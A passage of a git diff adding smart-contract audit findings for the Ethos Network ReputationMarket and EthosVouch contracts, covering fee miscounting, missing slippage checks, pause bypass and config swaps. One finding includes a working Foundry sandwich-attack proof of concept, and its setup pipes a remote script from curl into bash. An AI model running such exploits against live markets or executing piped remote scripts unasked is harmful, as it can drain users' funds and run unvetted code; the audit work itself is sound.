External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The system looses funds due to the miscalculated fee. + +### PoC + +_No response_ + +### Mitigation + +`applyFees` subtracts the fees from the total instead of charging more, which means that it works like a normal fee (taking part of user's deposits), however due to the reversed math the current implementation charges a lower amount than the one it should. Consider flipping back in order to increase profits and match user expectations (as vouchers and subjects earn less). \ No newline at end of file diff --git a/056.md b/056.md new file mode 100644 index 0000000..928871d --- /dev/null +++ b/056.md @@ -0,0 +1,132 @@ +Slow Tan Swallow + +High + +# `buyVotes` makes `ReputationMarket` insolvent + +### Summary + +Users use `buyVotes` to vote for another user and for such they pay for every vote in ETH. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 +```solidity + function buyVotes(...) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); +``` + +The price, votes and the amount this user would pay is calculated inside `_calculateBuy`, where we would take note that returned `fundsPaid` is all of the ETH used to buy votes + both `protocolFee` and `donation` fees + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 +```solidity + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` + +Later when we get back into `buyVotes` we can see that an issue appears. We send the appropriate fees using `applyFees(protocolFee, donation, profileId);`, however at the end of the function we also increase `marketFunds[profileId]` by `fundsPaid`. From `_calculateBuy` we have seen that `fundsPaid` already accounts `protocolFee` and `donation`, but these are already sent, meaning they they are accounted twice! Once send in `applyFees` and then added to `marketFunds` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 +```solidity + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Send fees + applyFees(protocolFee, donation, profileId); + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // Buy increase `marketFunds` by `fundsPaid + protocolFee + donation` fees ? + marketFunds[profileId] += fundsPaid; +``` + + +### Root Cause + +`marketFunds` being increased by `protocolFee` and `donation`, instead of only the real votes value. + +```solidity +marketFunds[profileId] += fundsPaid; +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Insolvency since the contract holds all ETH balances, meaning if we send the fees and later `withdrawGraduatedMarketFunds` is called, we would have taken more ETH out than we attributed inside the internal accounting. This ETH will come from other profile votes, eventually leading to insolvency. + +### PoC + +_No response_ + +### Mitigation + +Consider these 2 changes + +Inside [_calculateBuy](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942-L983): +```diff + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + // In order for `fundsPaid` to be only the value paid for buying votes +- fundsPaid += protocolFee + donation; + + maxPrice = votePrice; +``` + + +Inside [buyVotes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L471-L493): +```diff +- uint256 refund = msg.value - fundsPaid; ++ uint256 refund = msg.value - (fundsPaid +donation + protocolFee) ; + if (refund > 0) _sendEth(refund); + + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, +- fundsPaid ++ fundsPaid + donation + protocolFee, // So the event is emitted by the old standard (all funds used) + block.timestamp, + minVotePrice, + maxVotePrice + ); +``` +This way the amounts will be calculated correctly, while at the same time the user will be refunded what he is supposed to. \ No newline at end of file diff --git a/057.md b/057.md new file mode 100644 index 0000000..1f8adaf --- /dev/null +++ b/057.md @@ -0,0 +1,66 @@ +Slow Tan Swallow + +Medium + +# `sellVotes` is lacking slippage protection + +### Summary + +Unlike `buyVotes` it's opposite `sellVotes` lacks slippage protection. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L446 +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + // ... + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + // ... + } +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + //@audit no slippage protection + ) public whenNotPaused activeMarket(profileId) nonReentrant { +``` + +This will put users in danger as selling votes decreases their price, and such if a user sells too many votes he can decrease his vote price bellow the one he is willing to get for selling, resulting in him selling, but receiving little to nothing. Same can be done if a TX of another sells happens before ours, where our user would sell at a starting lower price and further decrease his profit. + +### Root Cause + +`sellVotes` lacking slippage protection, while `buyVotes` has it + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Bob make a TX to sell 50 votes +2. Alice also makes a TX to sell 500 votes +3. Alice TX gets executed first, meaning Bob sells at a much lower price + +If Bob knew his actual sell price he wouldn't sell. + +### Impact + +Users lose funds when selling. + +### PoC + +_No response_ + +### Mitigation + +Add slippage protection, requiring the profit to be above a given amount (can be calculated off chain or in the front end). \ No newline at end of file diff --git a/058.md b/058.md new file mode 100644 index 0000000..8dcafd1 --- /dev/null +++ b/058.md @@ -0,0 +1,238 @@ +Bouncy Coffee Falcon + +High + +# Malicious participant in `ReputationMarket` will sandwich attack vote sellers, causing loss of `ReputationMarket::fundsReceived` to vote sellers + +### Summary + +Lack of slippage protection in `ReputationMarket::sellVotes`([ReputationMarket.sol#L495-534](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-534)) will cause loss of funds received by vote sellers (`ReputationMarket::fundsReceived`). Malicious participant (attacker) will sandwich attack the victim's `ReputationMarket::sellVotes` by calling `ReputationMarket::sellVotes` before (frontrun) and `ReputationMarket::buyVotes` after (backrun) the victim's transaction. This attack will work regardless if it is a `TRUST` vote or a `DISTRUST` vote. + +### Root Cause + +Lack of slippage protection in `ReputationMarket::sellVotes`([ReputationMarket.sol#L495-534](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-534)) + +### Internal pre-conditions + +1. Market must be created and active. There are many ways to do this, but for this example, \ + 1.1 `admin` needs to call `ReputationMarket::setUserAllowedToCreateMarket` to set `creationAllowedProfileIds` for `marketOwnerProfileId` to be `true`. \ + 1.2 `marketOwner` needs to call `ReputationMarket::createMarketWithConfig` with a valid `marketConfigs` index and a `msg.value` greater than the minimum `initialLiquidity` required. +2. Attacker needs to have votes in market, i.e. attacker calls `ReputationMarket::buyVotes` to buy votes before attack +3. Victim needs to have votes in the same market, i.e. victim calls `ReputationMarket::buyVotes` to buy votes + +### External pre-conditions + +None + +### Attack Path + +1. Attacker frontrun victim's `ReputationMarket::sellVotes` with attacker's own `ReputationMarket::sellVotes` to drop the `votePrice` +2. Victim's `ReputationMarket::sellVotes` executes at a low price, causing loss of `ReputationMarket::fundsReceived` sent to victim +3. Attacker backrun victim's `ReputationMarket::sellVotes` with `ReputationMarket::buyVotes` to make a profit + +### Impact + +Impact: High. The victim suffers a loss of funds due to `sellVotes` executing at a lower price. The attacker gains this same amount as a profit (assuming no fees) from the sandwich attack.\ +Likelihood: High. An attacker will always be able to sandwich attack the victim's `sellVotes` and are incentivized to do so for financial gain.\ +Severity: High + +### PoC + +The below PoC is written in `foundry`. To set up the environment, run the following code in the `ethos/packages/contracts` directory ([ref](https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry)). +1. Install `foundry` + > curl -L https://foundry.paradigm.xyz | bash +2. Install the `@nomicfoundation/hardhat-foundry` plugin + > npm install --save-dev @nomicfoundation/hardhat-foundry +3. Import the plugin into `hardhat.config.cts` + > import "@nomicfoundation/hardhat-foundry"; +4. Initialize `foundry` configuration file (`foundry.toml`) and install `forge-std` using the below + > npx hardhat init-foundry +5. Install libraries and dependencies required + > forge install openzeppelin/openzeppelin-contracts --no-commit + > forge install openzeppelin/openzeppelin-contracts-upgradeable --no-commit + +\ +Place the following PoC into `test/ReputationMarket.t.sol` and run the following +> forge test --mt testSandwichAttack --via-ir + +```javascript +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.26; + +import {Test} from "forge-std/Test.sol"; +import {ReputationMarket} from "contracts/ReputationMarket.sol"; +import {ERC1967Proxy} from "lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import {IEthosProfile} from "contracts/interfaces/IEthosProfile.sol"; + +contract ReputationMarketTest is Test { + address ethosDeployer = makeAddr("ethosDeployer"); + address protocolFeeAddress = makeAddr("protocolFeeAddress"); + + address marketOwner = makeAddr("marketOwner"); + uint256 marketOwnerProfileId = 69_420; + address victim = makeAddr("victim"); + uint256 VICTIM_INITIAL_BALANCE = 1 ether; + address attacker = makeAddr("mAlice"); + uint256 ATTACKER_INITIAL_BALANCE = 11 ether; + + bool TRUST = true; + bool DISTRUST = false; + + address owner = makeAddr("owner"); + address admin = makeAddr("admin"); + address expectedSigner = makeAddr("expectedSigner"); + address signatureVerifier = makeAddr("signatureVerifier"); + address contractAddressManagerAddr; + + ReputationMarket reputationMarket; + + function setUp() public { + // Deploy mock contracts + // (contractAddressManager & EthosProfile) + MockEthosProfile mockEthosProfile = new MockEthosProfile(); + contractAddressManagerAddr = address(new MockContractAddressManager(address(mockEthosProfile))); + + // Deploy reputation market logic and proxy, initialize reputation market + vm.startPrank(ethosDeployer); + ReputationMarket reputationMarketLogic = new ReputationMarket(); + ERC1967Proxy reputationMarketProxy = new ERC1967Proxy(address(reputationMarketLogic), ""); + reputationMarket = ReputationMarket(address(reputationMarketProxy)); + reputationMarket.initialize( + owner, + admin, + expectedSigner, + signatureVerifier, + contractAddressManagerAddr + ); + vm.stopPrank(); + + // Condition 1: Market must be created and active + // (1.1) admin has to allow marketOwner to create market + vm.prank(admin); + reputationMarket.setUserAllowedToCreateMarket(marketOwnerProfileId , true); + // (1.2) marketOwner creates market (Premium tier for demonstration) + uint256 initialLiquidity = 1 ether; // 100*DEFAULT_PRICE for marketConfigs(2) Premium tier; + vm.deal(marketOwner, initialLiquidity); + vm.prank(marketOwner); + reputationMarket.createMarketWithConfig{value: initialLiquidity}(2); + + // Condition 2 : Attacker needs to have votes in market + vm.deal(attacker, ATTACKER_INITIAL_BALANCE); + vm.startPrank(attacker); + uint256 expectedVotesAttacker = 2000; // 11 ETH = 2097 votes + uint256 slippageBasisPointsAttacker = 10_000; + reputationMarket.buyVotes{value: attacker.balance}(marketOwnerProfileId, TRUST, expectedVotesAttacker, slippageBasisPointsAttacker); + vm.stopPrank(); + + // Condition 3: Victim needs to have votes in market + vm.deal(victim, VICTIM_INITIAL_BALANCE); + vm.startPrank(victim); + uint256 expectedVotesVictim = 0; // 1 ETH = 182 votes + uint256 slippageBasisPointsVictim = 10_000; + reputationMarket.buyVotes{value: victim.balance}(marketOwnerProfileId, TRUST, expectedVotesVictim, slippageBasisPointsVictim); + vm.stopPrank(); + } + + function testSandwichAttack() public { + // using TRUST votes to demonstrate attack + // DISTRUST votes will work the same + + // Simulate the vote selling if no sandwich attack + uint256 victimVotes = reputationMarket.getUserVotes(victim, marketOwnerProfileId).trustVotes; + vm.prank(victim); + (, uint256 fundsReceivedNoSandwich,,,uint256 minPriceNoSandwich, uint256 maxPriceNoSandwich) = reputationMarket.simulateSell(marketOwnerProfileId, TRUST, victimVotes); + uint256 avgVotePriceNoSandwich = (minPriceNoSandwich + maxPriceNoSandwich) / 2; + // avgVotePriceNoSandwich: 0.005492983499747185 ETH/trustVote + // fundsReceivedNoSandwich: 0.999713710481421484 ETH + + // Step 1: Attacker frontrun victim's sellVotes with attacker's own sellVotes to drop the price + uint256 attackerBalanceBeforeSandwich = attacker.balance; + uint256 attackerVotes = reputationMarket.getUserVotes(attacker, marketOwnerProfileId).trustVotes; + uint256 attackerVotesBeforeSandwich = attackerVotes; + vm.prank(attacker); + reputationMarket.sellVotes(marketOwnerProfileId, TRUST, attackerVotes); + + // Step 2: Victim's sellVotes executes at low price + uint256 victimBalanceBeforeSell = victim.balance; + vm.prank(victim); + (,,,,uint256 minPriceWithSandwich, uint256 maxPriceWithSandwich) = reputationMarket.simulateSell(marketOwnerProfileId, TRUST, victimVotes); + vm.prank(victim); + reputationMarket.sellVotes(marketOwnerProfileId, TRUST, victimVotes); + uint256 avgVotePriceWithSandwich = (minPriceWithSandwich + maxPriceWithSandwich) / 2; + uint256 victimBalanceAfterSell = victim.balance; + uint256 fundsReceivedWithSandwich = victimBalanceAfterSell - victimBalanceBeforeSell; + // avgVotePriceWithSandwich: 0.005022544841938360 ETH/trustVote + // fundsReceivedWithSandwich: 0.914093005949404548 ETH + + // Step 3: Attacker backrun victim's sellVotes with buyVotes to make a profit + uint256 expectedVotesAttacker = 2000; // 11 ETH = 2097 votes + uint256 slippageBasisPointsAttacker = 10_000; + vm.prank(attacker); + reputationMarket.buyVotes{value: ATTACKER_INITIAL_BALANCE}(marketOwnerProfileId, TRUST, expectedVotesAttacker, slippageBasisPointsAttacker); + uint256 attackerVotesAfterSandwich = reputationMarket.getUserVotes(attacker, marketOwnerProfileId).trustVotes; + uint256 attackerBalanceAfterSandwich = attacker.balance; + + // Assert: Victim's sellVotes executes at lower price due to sandwich attack + assertLt(avgVotePriceWithSandwich, avgVotePriceNoSandwich); + + // Assert: Victim receives less funds from sellVotes due to sandwich attack + assertLt(fundsReceivedWithSandwich, fundsReceivedNoSandwich); + + // Assert: Attacker profits from the sandwich attack + // Attacker has same number of votes after sandwich attack + assertEq(attackerVotesAfterSandwich, attackerVotesBeforeSandwich); + // Attacker has made profit after sandwich attack (0.085620704532016936 ETH) + assertGt(attackerBalanceAfterSandwich, attackerBalanceBeforeSandwich); + } +} + +contract MockContractAddressManager { + IEthosProfile ethosProfile; + + constructor (address _ethosProfile){ + ethosProfile = IEthosProfile(_ethosProfile); + } + + function getContractAddressForName(string memory contractName) external returns (IEthosProfile) { + return ethosProfile; + } +} + +contract MockEthosProfile { + function verifiedProfileIdForAddress(address userAddress) external returns (uint256) { + return 69_420; + } +} +``` + +### Mitigation + +Implement slippage protection in `ReputationMarket::sellVotes`([ReputationMarket.sol#L495-534](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-534)). + +```diff +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount ++ uint256 expectedFunds ++ uint256 slippageBasisPoints + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + ++ _checkSlippageLimit(fundsReceived, expectedFunds, slippageBasisPoints); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; +``` \ No newline at end of file diff --git a/059.md b/059.md new file mode 100644 index 0000000..5c28e25 --- /dev/null +++ b/059.md @@ -0,0 +1,44 @@ +Smooth Opal Millipede + +Medium + +# `Slash` lack of 72h grace period. + +### Summary + +`Upon being slashed the accused has a 72h grace period before they may be slashed again.` +Refered from: +https://whitepaper.ethos.network/ethos-mechanisms/vouch +https://whitepaper.ethos.network/ethos-mechanisms/slash + +But for now there is not time restriction in `EthosVouch.slash()`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520-L555 + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This violates the protocol design and allows the slasher to continuously withdraw the funds of vouch without a break. + + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/060.md b/060.md new file mode 100644 index 0000000..6c278d8 --- /dev/null +++ b/060.md @@ -0,0 +1,66 @@ +Odd Orchid Capybara + +Medium + +# `increaseVouch` can be called when contract is paused + +### Summary + +A missing `whenNotPaused` modifier will cause unauthorized operations during contract pause for the protocol as the `increaseVouch` function can be called when the contract is paused + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +the `increaseVouch` function does not have the `whenNotPaused` modifier, allowing it to be called even when the contract is paused. + +### Internal pre-conditions + +[Admin needs to call] pause to set paused to be true. + +### External pre-conditions + +None + +### Attack Path + +1. Admin calls pause to pause the contract. +2. Voucher actor calls increaseVouch to increase the staked amount, bypassing the pause state. + +### Impact + +_No response_ + +### PoC + +```typescript + + describe('increaseVouch', () => { + it('should fail if contract is paused', async () => { + const { ethosVouch, OWNER, VOUCHER_0, PROFILE_CREATOR_0, ethosProfile } = await loadFixture(deployFixture); + + // create a profile + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); + + // vouch + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('0.01'), + }); + + // pause the contract + await ethosVouch.connect(OWNER).pause(); + + // try to increase vouch + await expect( + ethosVouch.connect(VOUCHER_0).increaseVouch(0, { value: ethers.parseEther('0.01') }) + ).to.be.revertedWith('Pausable: paused'); + }); + }); +``` + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/061.md b/061.md new file mode 100644 index 0000000..0a092ac --- /dev/null +++ b/061.md @@ -0,0 +1,42 @@ +Ripe Sage Ant + +Medium + +# Removal of market config will impact parallel market creation + +### Summary + +Removal of marketConfig swaps elements in array. When users create new market, they specify config index in array. As a result, they will create market with incorrect config because removal swaps indexes. + +### Root Cause + +- In [ReputationMarket.removeMarketConfig()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L402-L409) it swaps indexes. +- In [ReputationMarket._createMarket()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L336-L339) it uses config index to specify which type of config to use. + +### Internal pre-conditions + +1. Admin needs to call `removeMarketConfig()` to remove non-last index, for example 1 +2. At the same time there must be tx in mempool `createMarket()` which uses config with same index, i.e. 1 + +### External pre-conditions + +- + +### Attack Path + +1. Let's say there are 3 configs in array: `[config0, config1, config2]` +2. User submits tx to create Market with config1, i.e. configIndex = 0 +3. Admin removes marketConfig 1. So entries are swapped and now are following: [config0, config2] +4. User's tx is executed. Market with config2 is created by mistake. + +### Impact + +The market creator creates market with incorrect config. There is no functionality to create market with correct config anymore. + +### PoC + +_No response_ + +### Mitigation + +Do not swap entries in array `marketConfigs`. Or add arguments to specify wanted config in `createMarket()` \ No newline at end of file diff --git a/062.md b/062.md new file mode 100644 index 0000000..672966d --- /dev/null +++ b/062.md @@ -0,0 +1,75 @@ +Slow Tan Swallow + +Medium + +# Buy fee is much higher than sell fee, causing a discrepency + +### Summary + +Buy fees are taken before the purchase (on the total amount) + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L959-L961 +```solidity + function _calculateBuy(Market memory market, bool isPositive, uint256 funds){ + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + + uint256 votePrice = _calcVotePrice(market, isPositive); +``` + +Where as sell fees are taken from the amount sold: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041-L1045 +```solidity + function _calculateSell(Market memory market, uint256 profileId, bool isPositive, uint256 amount){ + // ... + + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` + +It seems logical that sell fees are charging only what is sold, but why then buy fees should charge on the total amount used to buy, and not only on the stuff bought ? + +Here is an example to illustrate the point further: +Fees are 10% for both `buy` and `sell` (makes math easy) +1. Alice want to sell her expensive vote and she does so for 6 ETH, paying 0.6 ETH as a fee +2. Bob wants to buy an expensive vote, so he sends 10 ETH, however the vote costs 6 ETH +3. Bob pays 1 ETH as fees and gets a vote that cost 6 ETH, 7 ETH spend in total + +The difference here is that Bob spend 1 ETH in fees, where as Alice only 0.6, which is about 40% difference. In this example the votes are expensive, however even in normal cases where votes are cheap buyers will still pay a bigger fee than the one they should. + +If a buyer buys 5 votes for 0.5 ETH and he knows that the fee is 10%, but gets charged 0.06 or 0.07 ETH fee then he would not wanna participate any further. + + + +### Root Cause + +Buy fee being charged on the total amount instead on the one used to buy the actual votes. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Inside the summary + +### Impact + +Buys will pay higher fees than sellers, even thought the fees should be the same. + +This will disincentivize buying as if a buyer buys 5 votes for 0.5 ETH and he knows that the fee is 10%, but gets charged 0.06 or 0.07 ETH fee then he would not wanna participate any further. + +### PoC + +_No response_ + +### Mitigation + +Consider taking the fee on the amount bought and returning the rest in order to fix this discrepancy. \ No newline at end of file diff --git a/063.md b/063.md new file mode 100644 index 0000000..e74161c --- /dev/null +++ b/063.md @@ -0,0 +1,42 @@ +Ripe Sage Ant + +High + +# User will sell votes at an undesirable price + +### Summary + +The missing slippage protection in `ReputationMarket.sellVotes()` will impact users. Malicious user can sandwich and profit for them, basically stealing from honest users. + +### Root Cause + +In [`sellVotes()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L499) there is a missing slippage protection. + +### Internal pre-conditions + +To attack become profitable fees must be lower than revenue from sandwiching. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User1 submits `sellVotes()` expecting to receive for example 1 ETH. +2. User2 executes `sellVotes()`, so after sell price becomes lower. +3. User1 tx is executed, he receive lower than 1 ETH. Additionally makes price even lower +4. User2 buys back his votes at the lowered price. + +User2 will profit as soon as price impact is higher than fees payed. + +### Impact + +Users always suffer loss on sell operations. Especially when price impact of sell is high. + +### PoC + +_No response_ + +### Mitigation + +Add slippage protection. \ No newline at end of file diff --git a/064.md b/064.md new file mode 100644 index 0000000..3a353d3 --- /dev/null +++ b/064.md @@ -0,0 +1,57 @@ +Smooth Opal Millipede + +Medium + +# In `EthosVouch`, vouch may trigger a revert in case of `vouch -> unvouch -> vouch` process . + +### Summary + +In `EthosVouch.vouchExistsFor()`, to determine whether vouch exists, the following conditions need to be met: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L803-L811 + +The problem lies in the third condition: +```solidity + v.activityCheckpoints.unvouchedAt == 0; +``` +When a vouch is unvouched, its `activityCheckpoints.unvouchedAt` will be assigned a value: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L465 + +Which will cause the following situation where the transaction will revert: + +1, Alice vouch Bob. +2, Alice unvouch Bob. +3, Alice vouch Bob again, it will cause a revert. + +The reason for this is that `vouchByProfileId()` will call `_vouchShouldNotExistFor()`, and `_vouchShouldNotExistFor()` will in turn call `vouchExistsFor()`. Due to the previous unvouch operation, `v.activityCheckpoints.unvouchedAt` is not empty, thus triggering a revert. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L369 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L844-L848 + + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +In the scenario described above, the vouch operation will trigger a revert. + + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/065.md b/065.md new file mode 100644 index 0000000..f566fd6 --- /dev/null +++ b/065.md @@ -0,0 +1,101 @@ +Main Honeysuckle Tarantula + +Medium + +# user may be grossly overpaying fees in `buyVotes` due to incorrect calculation + +### Summary + +Consider the [`buyVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442) function. Specifically its internal call to `_calculateBuy`. +```solidity +function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` + +The previewFees function counts the commission that the user will pay for the purchase. However, the funds - passed to previewFees - is msg.value attached to the call. + +Thus, the amount of commission the user will pay depends only on the msg.value he attaches to the message, not on the amount he spends on the purchase. + +That is, either the user tries to minimise the msg.value and risks not buying the vote because of slippage, or he doesn't minimise it and overpays the commission. + +Judging by the sponsor's [discord message](https://discord.com/channels/812037309376495636/1312070624730021918/1313017646840549398), it is important to the protocol that users do not overpay the commission, I will now show that user losses can be significant. + +For simplicity, let's assume that 1 vote costs 90 ETH. The user wants to buy exactly 1 vote. Protocol commission 5%, donation 5%. + +So, if msg.value is in [100; 200] - user will get exactly 1 share, but will pay different amount of fee. + +msg.value = 100. ProtocolFee = 5, Donation = 5. Price = 90. TotalCost = 100 + +msg.value = 150. ProtocolFee = 7.5, Donation = 7.5. Price = 90. TotalCost = 105 + +msg.value = 200. ProtocolFee = 10, Donation = 10, Price = 90. TotalCost = 110 + +The user overpays up to 10% in the worst case. + +### Root Cause + +The purchase commission depends on the msg.value attached, not the money spent. Msg.value may be inflated by the buyer due to slippage, but in this case he will overpay the protocol. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The user loses funds through no fault of their own (if they specify an accurate msg.value, they probably won't buy because of slippage) + + +### PoC + +_No response_ + +### Mitigation + +Calculate fees from spend funds, not from msg.value \ No newline at end of file diff --git a/066.md b/066.md new file mode 100644 index 0000000..b35872c --- /dev/null +++ b/066.md @@ -0,0 +1,49 @@ +Ripe Sage Ant + +High + +# `ReputationMarket.withdrawGraduatedMarketFunds()` will revert making admin lose blocked ETH + +### Summary + +Variable `marketFunds` is incorrectly updated in `ReputationMarket.buyVotes()`. Therefore `withdrawGraduatedMarketFunds()` will revert. As a result admin can't withdraw ETH from market. + +Additionally it voilates stated in Readme: +>What properties/invariants do you want to hold even if breaking them has a low/unknown impact? + +>The vouch and vault contracts must never revert a transaction due to running out of funds. + +### Root Cause + +-In [buyVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) `marketFunds` is incorrectly updated. It uses `fundsPaid` which consists of "paidPrice" + "fees". Problem is that it only must contain "paidPrice" value without fees. +-In [sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522) `marketFunds` is incorrectly updated. It uses funds after fees are deducted. + +Correct way to update is to use purchase amount after fees deducted in buy; and amount before fees deducted in sell. + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +Sooner or later revert happens, I will describe simpler scenario: +1) Suppose protocolFee is 5%, donation is 5%; `initialLiquidity = 0 ETH`. +2) User executes `buyVotes()`. Purchase amount is 0.9 ETH; protocolFee = 0.05 ETH; donationFee = 0.05 ETH. `marketFunds += 1 ETH`, should be 0.9 ETH. +3) User executes `sellVotes()` to sell bought votes. He receives 0.81 ETH; protocolFee = 0.045 ETH; donationFee = 0.045 ETH. `marketFunds = 1 ETH - 0.81 ETH = 0.19 ETH`, should be 0 ETH. +5) Market is graduated and `withdrawGraduatedMarketFunds()` is called. In case there is balance, donationFee = 0.095 ETH can't be withdrawn; otherwise it will revert with insufficient balance. + +So `marketFunds` always overestimate real funds, so sooner or later either party loses funds. + +### Impact + +- Donation fees 